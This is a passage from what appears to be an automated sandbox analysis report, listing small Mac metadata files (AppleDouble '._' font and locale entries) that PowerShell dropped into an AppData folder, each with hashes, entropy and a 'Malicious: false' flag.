SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Font\._CourierStd.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Font\._MinionPro-Bold.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Font\._MinionPro-BoldIt.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Font\._MinionPro-It.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Font\._MinionPro-Regular.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Font\._MyriadPro-Bold.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Font\._MyriadPro-BoldIt.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Font\._MyriadPro-It.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Font\._MyriadPro-Regular.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Font\._Pfm

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	250
Entropy (8bit):	4.293016127218903
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2X1ltPk3//lftNMlllYdIwPXiBSK/doV5VVEdFU3LVYiDKwbUgGuI:PgGA/iwKwviBn/6/Es3CiDKwQpkczl
MD5:	E37A2A970DEE23AA335813EE95BEBCEC
SHA1:	0DFC807AD0EE9301CA6EC83480071BE3D4806AF8
SHA-256:	BB5795D24B6270D6C8EB472C04732B5ED674F8B95A8C48AD17FD299892E35408
SHA-512:	16CB339F7E5D10D49A88DFAB4162CB80562F174AB19FD8BBB8CB4513D9FFC822180C409A9C0E15246575D5C1C68667980FA5CB4F1681E6BFDD42F0CF6A095557
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............b.......................b...com.apple.quarantine.q/0087;00000000;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;B05A7947-63CC-46F5-ADC6-A52D25C1D35C.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Font\._SY______.PFB

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Font\._ZX______.PFB

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Font\._ZY______.PFB

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Font\Pfm\._SY______.PFM

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Font\Pfm\._zx______.pfm

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Font\Pfm\._zy______.pfm

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Locals\._am.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Locals\._ar.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Locals\._fi.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Locals\._fil.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Locals\._fr.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Locals\._gu.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Locals\._he.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Locals\._hi.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Locals\._hr.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Locals\._hu.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
